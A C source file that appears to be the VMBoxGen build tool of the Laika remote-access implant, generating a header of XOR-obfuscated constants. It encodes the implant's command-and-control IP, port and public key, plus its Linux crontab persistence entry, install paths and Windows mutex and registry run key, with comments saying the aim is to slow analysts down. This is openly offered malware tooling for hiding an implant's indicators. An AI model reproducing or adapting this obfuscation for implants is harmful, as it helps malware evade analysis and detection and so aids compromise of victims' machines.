#include "lconfig.h"

#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#define ERR(...)                                                                                   \
    do {                                                                                           \
        printf(__VA_ARGS__);                                                                       \
        exit(EXIT_FAILURE);                                                                        \
    } while (0);
#define RANDBYTE (rand() % UINT8_MAX)

static const char *PREAMBLE = "/* file generated by VMBoxGen, see tools/vmboxgen/src/main.c */\n"
                              "#ifndef LAIKA_VMBOX_CONFIG_H\n"
                              "#define LAIKA_VMBOX_CONFIG_H\n\n";
static const char *POSTAMBLE = "\n#endif\n";

static void writeArray(FILE *out, uint8_t *data, int sz)
{
    int i;

    fprintf(out, "{");
    for (i = 0; i < sz - 1; i++) {
        fprintf(out, "0x%02x, ", data[i]);
    }
    fprintf(out, "0x%02x};\n", data[sz - 1]);
}

static void writeDefineArray(FILE *out, char *ident, uint8_t *data)
{
    fprintf(out, "#define %s ", ident);
    writeArray(out, data, LAIKA_VM_CODESIZE);
}

static void writeDefineVal(FILE *out, char *ident, int data)
{
    fprintf(out, "#define %s 0x%02x\n", ident, data);
}

static void addPadding(uint8_t *data, int start)
{
    int i;

    /* if the box is less than LAIKA_VM_CODESIZE, add semi-random padding */
    for (i = start; i < LAIKA_VM_CODESIZE; i++) {
        data[i] = RANDBYTE;
    }
}

static void makeSKIDdata(char *data, int sz, uint8_t *buff, int key)
{
    int i;

    for (i = 0; i < sz; i++)
        buff[i] = data[i] ^ key;

    buff[i++] = key; /* add the null terminator (key ^ key = 0x00) */
    addPadding(buff, i); /* fill in the remaining bytes with semi-rand padding */
}

#define MAKESKIDDATA(macro)                                                                        \
    key = RANDBYTE;                                                                                \
    makeSKIDdata(macro, strlen(macro), tmpBuff, key);                                              \
    writeDefineVal(out, "KEY_" #macro, key);                                                       \
    writeDefineArray(out, "DATA_" #macro, tmpBuff);

int main(int argv, char **argc)
{
    uint8_t tmpBuff[LAIKA_VM_CODESIZE];
    FILE *out;
    char *fileName;
    int key;

    if (argv < 2)
        ERR("USAGE: %s [OUTFILE]\n", argv > 0 ? argc[0] : "BoxGen");

    /* open output file */
    fileName = argc[1];
    if ((out = fopen(fileName, "w+")) == NULL)
        ERR("Failed to open %s!\n", fileName);

    srand(time(NULL)); /* really doesn't need to be cryptographically secure, the point is only to
                          slow them down */

    fprintf(out, PREAMBLE);
    /* shared */
    MAKESKIDDATA(LAIKA_CNC_IP);
    MAKESKIDDATA(LAIKA_CNC_PORT);
    MAKESKIDDATA(LAIKA_PUBKEY);
    /* linux */
    MAKESKIDDATA(LAIKA_LIN_LOCK_FILE);
    MAKESKIDDATA(LAIKA_LIN_INSTALL_DIR);
    MAKESKIDDATA(LAIKA_LIN_INSTALL_FILE);
    MAKESKIDDATA(LAIKA_LIN_CRONTAB_ENTRY);
    /* windows */
    MAKESKIDDATA(LAIKA_WIN_MUTEX);
    MAKESKIDDATA(LAIKA_WIN_INSTALL_DIR);
    MAKESKIDDATA(LAIKA_WIN_INSTALL_FILE);
    MAKESKIDDATA(LAIKA_WIN_REG_KEY);
    MAKESKIDDATA(LAIKA_WIN_REG_VAL);
    fprintf(out, POSTAMBLE);
    fclose(out);

    printf("Laika VMBox data header dumped to '%s'\n", fileName);
    return 0;
}

#undef MAKESKIDDATA